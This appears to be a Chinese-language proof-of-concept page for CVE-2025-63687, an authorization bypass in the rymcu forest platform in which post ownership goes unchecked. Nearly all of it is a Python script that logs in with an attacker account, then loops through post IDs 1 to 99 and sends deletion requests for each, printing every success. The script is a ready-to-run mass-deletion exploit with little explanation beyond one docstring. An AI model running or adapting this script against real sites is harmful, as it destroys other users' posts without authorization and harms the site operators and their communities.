CVE-2025-63687 rymcu forest授权绕过漏洞 - 攻击者可删除任意用户帖子

# CVE-2025-63687 PoC - rymcu forest 授权绕过删除任意用户帖子 import requests import json # 配置目标环境 TARGET_URL = "http://target-website.com" LOGIN_URL = f"{TARGET_URL}/api/login" DELETE_POST_URL = f"{TARGET_URL}/api/post/delete" # 步骤1: 登录获取认证token def login(username, password): session = requests.Session() response = session.post(LOGIN_URL, json={ "username": username, "password": password }) if response.status_code == 200: return session, response.json().get('token') return None, None # 步骤2: 删除任意用户帖子的PoC def delete_arbitrary_post(session, victim_post_id): """ 由于AuthorshipAspect的doBefore函数未正确验证帖子所有权 攻击者可以删除任意post_id对应的帖子 """ headers = { "Content-Type": "application/json", # 添加必要的认证头 } payload = { "postId": victim_post_id # 目标受害者帖子的ID } response = session.post(DELETE_POST_URL, json=payload, headers=headers) if response.status_code == 200 and response.json().get('success'): print(f"[+] 成功删除帖子 ID: {victim_post_id}") return True else: print(f"[-] 删除失败: {response.text}") return False # 主程序 if __name__ == "__main__": # 使用攻击者账户登录 attacker_session, token = login("attacker_username", "attacker_password") if attacker_session: # 遍历尝试删除多个帖子ID for post_id in range(1, 100): delete_arbitrary_post(attacker_session, post_id)